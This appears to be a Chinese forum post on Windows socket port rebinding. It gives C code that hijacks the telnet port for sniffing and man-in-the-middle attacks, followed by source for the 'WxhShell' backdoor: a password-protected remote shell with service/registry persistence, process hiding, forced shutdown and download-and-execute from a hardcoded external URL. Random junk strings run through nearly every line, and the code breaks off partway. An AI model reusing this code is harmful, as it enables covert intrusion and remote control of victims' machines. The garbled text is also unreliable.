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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Yi%;|]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #A JDWelD  
RbOUfD(J4  
  saddr.sin_family = AF_INET; U:0mp"  
V^bwXr4f  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6 ob@[ @  
p>v$FiV2N  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3M[! N  
s+$ Q}|?u  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 dy%;W%  
; F"g$_D0  
  这意味着什么?意味着可以进行如下的攻击: vc;$-v$&  
B" 1c  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 yg<R=$n,Q  
rr],DGg+B]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0d)M\lG  
6H.0vN&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 wDal5GJp  
}HYbS8'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2lH&  
3Ei#q+7  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 BLQ6A<  
{HltvO%8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $w`x vX  
pP&7rRhw  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 O:;w3u7;u  
-P$PAg5"2  
  #include -A^_{4X  
  #include ZB= E}]v6  
  #include [Kg+^N% +  
  #include    NvceYKp:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   S6Q  
  int main() -">;-3,K  
  { vxBgGl  
  WORD wVersionRequested; e:DCej^z  
  DWORD ret; H(ARw'M  
  WSADATA wsaData; ~ D j8 z+^  
  BOOL val; 'urafE4M  
  SOCKADDR_IN saddr; l`lk-nb  
  SOCKADDR_IN scaddr; {T$9?`h~M  
  int err; Cgk<pky1  
  SOCKET s; y@S$^jk.  
  SOCKET sc; U`(ee*}o  
  int caddsize; A4x]Qh3OO  
  HANDLE mt; {#vgtgBB  
  DWORD tid;   ? =Z?6fw  
  wVersionRequested = MAKEWORD( 2, 2 ); C`hU]  
  err = WSAStartup( wVersionRequested, &wsaData ); @1roe G  
  if ( err != 0 ) { _aSxc)?  
  printf("error!WSAStartup failed!\n"); XJ;57n-?  
  return -1; X]TG<r  
  } Tv,[DI +  
  saddr.sin_family = AF_INET; O3,jg |,  
   yLvDMPj  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #CTE-W"|HE  
UERLtSQ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); JX;<F~{.  
  saddr.sin_port = htons(23); 0*3R=7_},o  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gh]cXuph  
  { ZPLm]I\]  
  printf("error!socket failed!\n"); AofKw  
  return -1; SwGx?U  
  } Mk 6(UXY  
  val = TRUE; g wRZ%.Cn  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `r6,+&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Q~ w|#  
  { Rsm^Z!sn  
  printf("error!setsockopt failed!\n"); Vx u0F]%  
  return -1; tCH!my_  
  } L ca}J&x]^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v0{i0%d,?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 W:2( .?  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $t[FH&c(  
Ty?cC**  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) z2~ til  
  { /{ g>nzP  
  ret=GetLastError(); kS);xA8s]  
  printf("error!bind failed!\n"); j_?FmX _  
  return -1; $ bR~+C  
  } eu-*?]&Di  
  listen(s,2); [q[Y~1o/&H  
  while(1) P/eeC"  
  { BL }\D;+t  
  caddsize = sizeof(scaddr); 97*p+T<yp  
  //接受连接请求 &DX! f  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); A|4[vz9>H  
  if(sc!=INVALID_SOCKET) <)H9V-5aZ  
  { ""G'rN_=Bi  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .uZ3odMlx  
  if(mt==NULL) oJz^|dW  
  { +mj y<~\  
  printf("Thread Creat Failed!\n"); $qnZl'O>  
  break; QA`sx  
  } ;A'mB6?%H  
  } `*R:gE=  
  CloseHandle(mt); Ee! 4xg  
  } M5X&}cN6  
  closesocket(s); %ntRG !  
  WSACleanup(); /$?}Y L,  
  return 0; Xl#ggub?  
  }   E{`fF8]K  
  DWORD WINAPI ClientThread(LPVOID lpParam) G9cUD[GB  
  { IOmfF[  
  SOCKET ss = (SOCKET)lpParam; ]h+j)J}[A  
  SOCKET sc; qR8Lh( "i  
  unsigned char buf[4096]; FcU SE  
  SOCKADDR_IN saddr; uw_Y\F-$  
  long num; R&k<AZ  
  DWORD val; 8OU\V5i[,q  
  DWORD ret; 8Fu(Ft^9  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "<1{9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   YjKxb9  
  saddr.sin_family = AF_INET; }&J q}j  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {4Cmu;u  
  saddr.sin_port = htons(23); '-~~-}= sJ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,#9PxwrO  
  { (uE!+2C  
  printf("error!socket failed!\n"); ]2KihP8z x  
  return -1; S4z;7z(8+  
  } ?N9uu4  
  val = 100; YU'E@t5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3F2w-+L  
  { @# l= l  
  ret = GetLastError(); hHnYtq  
  return -1; d\8l`Krs[_  
  } !pX>!&sb  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  x'<X!gw  
  { 3XV/Fb}!(i  
  ret = GetLastError(); )3EY;  
  return -1; ;HO=  
  } mCVFS=8V  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /y}xX  
  { '5$b-x6F  
  printf("error!socket connect failed!\n"); `d}2O%P  
  closesocket(sc); S.NPZ39}ZE  
  closesocket(ss); 2c*GuF9(0  
  return -1; x s|FE3:a  
  } h S&R(m  
  while(1) + cN8Y}V  
  { .aQ \jA  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1mG-}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2P0*NQ   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 s;Q!X ?Q  
  num = recv(ss,buf,4096,0); @\#td5'  
  if(num>0) tG a8W  
  send(sc,buf,num,0); Gyc]?m   
  else if(num==0) u'BaKWPS  
  break; (*iHf"=\  
  num = recv(sc,buf,4096,0); [{,1=AB  
  if(num>0) `[ir}+S  
  send(ss,buf,num,0); MQ6KN(?\ZL  
  else if(num==0) MQ8J<A Pf-  
  break; $ddCTS^  
  } $xN|5;+  
  closesocket(ss); fNFY$:4X  
  closesocket(sc); &D*b|ilvc  
  return 0 ; C~/a-  
  } J)-x!y>  
}BP;1y6-r  
KbeC"mi  
========================================================== 8$}<, c(  
H/M@t\$Dc  
下边附上一个代码,,WXhSHELL 3.y vvPFEM  
}qD\0+`qi  
========================================================== 5=ryDrx  
6=Otq=WH  
#include "stdafx.h" _oeS Uzq.  
gg2( 5FPP  
#include <stdio.h> `;egv*!P  
#include <string.h> 4o[{>gW  
#include <windows.h> "^GGac.  
#include <winsock2.h> \dah^mw"  
#include <winsvc.h> )Pv%#P-<  
#include <urlmon.h> o`-msz  
6Z"X}L,*  
#pragma comment (lib, "Ws2_32.lib") 0o&5 ]lEe  
#pragma comment (lib, "urlmon.lib") $IpccZpA  
A.w.rVDD  
#define MAX_USER   100 // 最大客户端连接数 l*G[!u  
#define BUF_SOCK   200 // sock buffer X"%gQ.1|{j  
#define KEY_BUFF   255 // 输入 buffer yJIscwF  
;aVZ"~a+\  
#define REBOOT     0   // 重启 9hyn`u.  
#define SHUTDOWN   1   // 关机 )8ZH-|N`!E  
qJ-/7-$ ^  
#define DEF_PORT   5000 // 监听端口 dSHDWu&  
AA>P`C$&M  
#define REG_LEN     16   // 注册表键长度 TB31- ()  
#define SVC_LEN     80   // NT服务名长度 La[V$+Y  
ZbKg~jdF  
// 从dll定义API `Urhy#LC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FGzwhgy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,I;> aE<#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;!Fn1|)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q!@4~plz  
k+*u/neh  
// wxhshell配置信息 "" EQE>d  
struct WSCFG { 4CTi]E=H{  
  int ws_port;         // 监听端口 1< ?4\?j  
  char ws_passstr[REG_LEN]; // 口令 S3J^,*'  
  int ws_autoins;       // 安装标记, 1=yes 0=no n+M<\  
  char ws_regname[REG_LEN]; // 注册表键名 6ik$B   
  char ws_svcname[REG_LEN]; // 服务名 '~ 47)fN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .T`%tJ-Em  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 E2-\]?\F(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Wx#;E9=Im  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'V>-QD%1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M"L=L5OH-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RxQ*  
/yZcDK4  
}; Dw"\/p:-3  
;n;p@Uu[ b  
// default Wxhshell configuration nO-#Q=H,  
struct WSCFG wscfg={DEF_PORT, h{qgEIk&  
    "xuhuanlingzhe", +b 6v!7_  
    1, yB!dp;gM{  
    "Wxhshell", x4O~q0>:Le  
    "Wxhshell", +kD R.E:  
            "WxhShell Service", `WS&rmq&'  
    "Wrsky Windows CmdShell Service", v"0J&7!J  
    "Please Input Your Password: ", DHRlWQox  
  1, * v#o  
  "http://www.wrsky.com/wxhshell.exe", ;kKyksxlD  
  "Wxhshell.exe" dc'Y `e  
    }; m4Zk\,1m.|  
-nwypu  
// 消息定义模块 F"mmLao  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %"-5 <6d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %z$#6?OK^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !()Qm,1u  
char *msg_ws_ext="\n\rExit."; ;9#KeA _  
char *msg_ws_end="\n\rQuit."; J .<F"r>  
char *msg_ws_boot="\n\rReboot..."; 1\.pMHv/  
char *msg_ws_poff="\n\rShutdown..."; ?V=CB,^  
char *msg_ws_down="\n\rSave to "; Iu6   
W%w~ah|/]  
char *msg_ws_err="\n\rErr!"; 0*v2y*2V  
char *msg_ws_ok="\n\rOK!"; W*Y/l~x}  
$:^td/p J  
char ExeFile[MAX_PATH]; Ho]su?  
int nUser = 0; zT{ VE+=  
HANDLE handles[MAX_USER]; w!XD/j N  
int OsIsNt; QZ8IV>  
-Qe'YBy:  
SERVICE_STATUS       serviceStatus; Uw:"n]G]D?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !'I8:v&D  
d_P` qA  
// 函数声明 nr#|b`J]  
int Install(void); u%!@(eKM-  
int Uninstall(void); 'c~4+o4co  
int DownloadFile(char *sURL, SOCKET wsh); W%Fv p;\`  
int Boot(int flag); moE2G?R  
void HideProc(void); [N'h%1]\  
int GetOsVer(void); !'O@2{?B  
int Wxhshell(SOCKET wsl); Vt ohL+  
void TalkWithClient(void *cs); 1E$|~   
int CmdShell(SOCKET sock); D m9sL!  
int StartFromService(void); X wtqi@zlE  
int StartWxhshell(LPSTR lpCmdLine); h yIV.W/  
v` r:=K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,fRq5"?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .S4u-  
oL<St$1  
// 数据结构和表定义 |[y6Ua0  
SERVICE_TABLE_ENTRY DispatchTable[] = dF2RH)Ud  
{ D/' dTrR  
{wscfg.ws_svcname, NTServiceMain}, +H2Qk4XFB  
{NULL, NULL} 4Po_-4  
}; C9;kpqNG#u  
2t,zLwBdnJ  
// 自我安装 ,"ql5Q4  
int Install(void) *z2s$EZ  
{ *lb<$E]="!  
  char svExeFile[MAX_PATH]; Q59W#e)  
  HKEY key; t$ *0{w E  
  strcpy(svExeFile,ExeFile); @o.I;}*N  
!_(Tqyg&  
// 如果是win9x系统,修改注册表设为自启动 W{aY}`  
if(!OsIsNt) { A%-6`>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zW nR6*\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?h2}#wg  
  RegCloseKey(key); `y0FY&y=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4GM6)"#d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,z?':TZ  
  RegCloseKey(key); e';_Y>WQy  
  return 0; ,u!sjx  
    } aQ~s`^D  
  } D)Dr__x  
} wA.\i  
else { :@&/kyGH  
wQLSf{2  
// 如果是NT以上系统,安装为系统服务 DTs;{c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +/\6=).\  
if (schSCManager!=0) ']oQ]Yx0  
{ [Nq*BrzF  
  SC_HANDLE schService = CreateService {>;R?TG]$  
  ( L0]_X#s>#  
  schSCManager, . ]M"# \  
  wscfg.ws_svcname, p 4)Q&k!  
  wscfg.ws_svcdisp, FPTK`Gd0  
  SERVICE_ALL_ACCESS, |7Kbpj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  S[QrS 7  
  SERVICE_AUTO_START, I 2DpRMy  
  SERVICE_ERROR_NORMAL, C*lJrFpB  
  svExeFile, 9>$p  
  NULL, B?wq=DoG  
  NULL, 2+O'9F_v  
  NULL, We z 5N  
  NULL, Q=:|R3U/  
  NULL BORA(,  
  ); LHmZxi?  
  if (schService!=0) .8|X   
  { t:c.LFrF  
  CloseServiceHandle(schService); ~;]d"'  
  CloseServiceHandle(schSCManager); mcok/,/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "I TIhnE  
  strcat(svExeFile,wscfg.ws_svcname); lRdChoL$2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ct|A:/z(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _aMF?Pj~m  
  RegCloseKey(key); GJUL$9  
  return 0; FgI3   
    } l+0P  
  } ?hM64jI|  
  CloseServiceHandle(schSCManager); /Q )\+  
} j~QwV='S  
} A(N4N  
\di=  
return 1; XZwK6F)L  
} c"xK`%e  
\(T /O~b2  
// 自我卸载 ,=N.FS  
int Uninstall(void) Xm 2'6f,  
{ HorDNRyu  
  HKEY key; ,Lt[\_  
iyog`s c  
if(!OsIsNt) { Xry4 7a )  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %07SFu#  
  RegDeleteValue(key,wscfg.ws_regname); l@:0e]8|o  
  RegCloseKey(key); $mB;K]m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PxE3K-S)G  
  RegDeleteValue(key,wscfg.ws_regname); Lh<).<S  
  RegCloseKey(key); [1KuzCcK}  
  return 0; bu"!jHPB  
  } 0|b>I!_"g  
} &VcV$8k  
} 1i ] ^{;]  
else { FCn_^l)EA  
Tb-F]lg$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -`t^7pr  
if (schSCManager!=0) snikn&  
{ i 3SHg\~Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2:=  
  if (schService!=0) ,v&(YOd  
  { 4Z,!zFS$`  
  if(DeleteService(schService)!=0) { _-Fs# f8  
  CloseServiceHandle(schService); o8vug$=Z  
  CloseServiceHandle(schSCManager); nNU2([  
  return 0; 4H<lm*!^  
  } ?0,Ngrbe  
  CloseServiceHandle(schService); F}q c0  
  } Hq 188<  
  CloseServiceHandle(schSCManager); \^%}M!tan  
} )F2OT<]m,  
} -PQv ?5  
$tS}LN_!  
return 1; 9&ids!W~yx  
} !? gKqx'T$  
40<mrVl  
// 从指定url下载文件 _/K_[w 1  
int DownloadFile(char *sURL, SOCKET wsh) PiYxk+N  
{ 6JQ'Ik;$wX  
  HRESULT hr; O7IJ%_A&  
char seps[]= "/"; 8&aq/4:q0  
char *token; k@:%:Sj 2  
char *file; Tu7QCr5*  
char myURL[MAX_PATH]; (!N|Kl  
char myFILE[MAX_PATH]; JO< wU  
?I@W:#>o  
strcpy(myURL,sURL); ""|Qtubv  
  token=strtok(myURL,seps); ZQ0F$J)2~  
  while(token!=NULL) @|%2f@h  
  { XvlU*TO~(~  
    file=token; @{O`E^}-D  
  token=strtok(NULL,seps); Ez=Olbk  
  } J9[r|`gJ(  
Y.r+wc]  
GetCurrentDirectory(MAX_PATH,myFILE); ( ICd}  
strcat(myFILE, "\\"); 9 |vLwQ  
strcat(myFILE, file); 9p2&) kb6  
  send(wsh,myFILE,strlen(myFILE),0); {jX2}  
send(wsh,"...",3,0); q%?in+l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /Mu @,)''  
  if(hr==S_OK) Hg$lXtn]  
return 0; ]wG{!0pl  
else  !=P1%  
return 1; "!%l/_p?  
 'CkIz"Wd  
} .xWC{}7[  
';=O 0)u  
// 系统电源模块 ?m? ::RH  
int Boot(int flag) 1^(ad;BC y  
{ QW(Mz Hg  
  HANDLE hToken; ah+iZ}E%  
  TOKEN_PRIVILEGES tkp; $@"g^,n  
h{HHLR  
  if(OsIsNt) { <3C*Z"aQ>|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~AT'[(6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ? '{SX9  
    tkp.PrivilegeCount = 1; @7j AL-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v<(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "mvt>X  
if(flag==REBOOT) { h|{]B,.Lh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) DG:Z=LuJr  
  return 0; [}0haTYc4  
} Vt&2z)Zz  
else { \Et3|Iv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (S\[Y9  
  return 0; U0N 60  
} SmSH2m-  
  } U/l&tmIVY  
  else { 'Xq| Kf (  
if(flag==REBOOT) { X=fYWj[H,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )ea>%  
  return 0; 8i#2d1O  
} !58@pLJw  
else { !\.pq  2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^N{h3b8  
  return 0; R3&Iu=g  
} wHMX=N1/  
} DjQFi  
'=8d?aeF  
return 1; MXNFlP  
} MJ [m  
LR.<&m%~.  
// win9x进程隐藏模块 41?HY{&2  
void HideProc(void) /zVOK4BqN+  
{ B; h"lv  
.jT#:_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9c,'k#k  
  if ( hKernel != NULL ) N.{H,oO `  
  { Jgd'1'FOs  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =Qj{T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +V046goX W  
    FreeLibrary(hKernel); 9} M?P  
  } Hp!-248S  
k],Q9  
return; rgtT~$S  
} =BAW[%1b  
0 e ~JMUb  
// 获取操作系统版本 Z!zF\<r  
int GetOsVer(void) EF}\brD1  
{ r 8rgY42  
  OSVERSIONINFO winfo; J({Xg?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vJc-6EO  
  GetVersionEx(&winfo); T9_RBy;%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `1{ZqRFQ  
  return 1; 3z9d!I^>k  
  else ,|H `e^  
  return 0; }1i`6`y1  
} VfC<WVYiZ  
&zeyE;/Hj  
// 客户端句柄模块 ][h%UrV  
int Wxhshell(SOCKET wsl) _w+:Dv~*a  
{ ?u=Fj_N_  
  SOCKET wsh; Wk4s reB  
  struct sockaddr_in client; aPfO$b:  
  DWORD myID; suiS&$-E  
A,hJIe  
  while(nUser<MAX_USER) cyv`B3}  
{ Z=Y& B>:[  
  int nSize=sizeof(client); 6@ IXqKz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BmMGx8P  
  if(wsh==INVALID_SOCKET) return 1; u9GQU  
L<-_1!wh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Eog0TQ+*  
if(handles[nUser]==0) )E@.!Ut4o  
  closesocket(wsh); {9;CNsd  
else >j(_[z|v3  
  nUser++; E }Z/*lX  
  } BsqP?/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,nLy4T&"  
37 ,  
  return 0; Ou!2 [oe@M  
} bvr^zH,C  
xH(lm2kvT  
// 关闭 socket Qu"\wE^.`  
void CloseIt(SOCKET wsh) NAQAU *yP  
{ #Z`q+@@ ]A  
closesocket(wsh); w?k>:,'[  
nUser--; i6tf2oqO7  
ExitThread(0); o_Z5@F  
} m}aB?+i  
.4M.y:F  
// 客户端请求句柄 tI TS1  
void TalkWithClient(void *cs) RJ ||}5  
{ aS{n8P6vW  
;I 9&]   
  SOCKET wsh=(SOCKET)cs; 6YLj^w] %  
  char pwd[SVC_LEN]; 5k3b3&  
  char cmd[KEY_BUFF]; !&ayYu##{  
char chr[1]; nE&@Q  
int i,j; 1s2>C!\  
EQyC1j  
  while (nUser < MAX_USER) { LX7FaW  
'4Ixqb+  
if(wscfg.ws_passstr) { B^Nf #XN(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;R5`"`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %C'?@,7C  
  //ZeroMemory(pwd,KEY_BUFF); &Gn 2tr  
      i=0; W5lR0)~#*  
  while(i<SVC_LEN) { H*QIB_  
#!qm ZN  
  // 设置超时 c~$)UND^  
  fd_set FdRead; o]` *M|  
  struct timeval TimeOut; @+M /&  
  FD_ZERO(&FdRead); KL:j?.0  
  FD_SET(wsh,&FdRead); X_ cV%#  
  TimeOut.tv_sec=8; {M$1N5Eh  
  TimeOut.tv_usec=0; !M]uL&:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z(exA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nntuLuW  
pV +|o.<C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +0%w ;'9z  
  pwd=chr[0]; HU }7zK2  
  if(chr[0]==0xd || chr[0]==0xa) { _ Yx]_Y9I  
  pwd=0; YTX,cj#D^&  
  break; kg~mgMR+w  
  } L9 \1+rq  
  i++; FLCexlv^  
    } ,j}6? Q  
5C*Pd Wpl  
  // 如果是非法用户,关闭 socket t#/YN.@r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  ZrxD`1L  
} P[#e/qnXu|  
b#Z{{eLny  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V>%rv'G8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V _/%b)*  
e *(!^Q1  
while(1) { }DE g-j,F  
B5VKs,g  
  ZeroMemory(cmd,KEY_BUFF); ygS;$2m%2  
y$F'(b| )  
      // 自动支持客户端 telnet标准   dA`IEQJL  
  j=0; swoQ'  
  while(j<KEY_BUFF) { BB$>h}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k>Vci{v  
  cmd[j]=chr[0]; kr5">"7  
  if(chr[0]==0xa || chr[0]==0xd) { VimE@Hz  
  cmd[j]=0; He/8=$c%  
  break; +I:Unp  
  } ;Ax }KN7  
  j++; C12Fl  
    } Nw/  ku  
eKLZt%=  
  // 下载文件 `$<.pOm  
  if(strstr(cmd,"http://")) { |'8Nh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Nk 8B_{  
  if(DownloadFile(cmd,wsh))  O67W&nz  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mPK:R^RjG&  
  else o>i4CCU+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B6As,)RjD:  
  } ]G= L=D^cK  
  else { W$;,CU.v  
J +DDh=%  
    switch(cmd[0]) { V`d,qn)i  
  6NuD4Ga  
  // 帮助 S_4?K)n #  
  case '?': { ,~$p,ALwN7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~ 'H ]jN  
    break; n;C :0  
  } _|\~q[ep  
  // 安装 GPv1fearl  
  case 'i': { 82qoGSD.  
    if(Install()) YnS#H"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wn, KY$/  
    else DE8n+Rm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #PW9:_BE  
    break; oUr66a/[U  
    } 9@:2wR |  
  // 卸载 Jk11fn;\>  
  case 'r': { kGS;s B  
    if(Uninstall()) m%?pf2%I#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xY8$I6  
    else t]g-CW 3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o5O#vW2Il&  
    break; (k)v!O-  
    } ww3-^v  
  // 显示 wxhshell 所在路径 9Cp-qA%t  
  case 'p': { ;_I8^?d  
    char svExeFile[MAX_PATH]; S-b/S5  
    strcpy(svExeFile,"\n\r"); EIAc@$4  
      strcat(svExeFile,ExeFile); TR`U-= jH,  
        send(wsh,svExeFile,strlen(svExeFile),0); 8)3*6+D  
    break; -%CP@dAk  
    } tBWrL{xLe  
  // 重启 P[ck84F/  
  case 'b': { P {jbl!UD7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {.|CdqwY  
    if(Boot(REBOOT)) ~2N"#b&J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _pG-qK  
    else { RFcv^Xf  
    closesocket(wsh); fk>aqm7D!  
    ExitThread(0); IGQFtO/x  
    } RnE4<Cy  
    break; v^NIx q}U  
    } gp?uHKsM  
  // 关机 6ex/TySM  
  case 'd': { : /N0!&7  
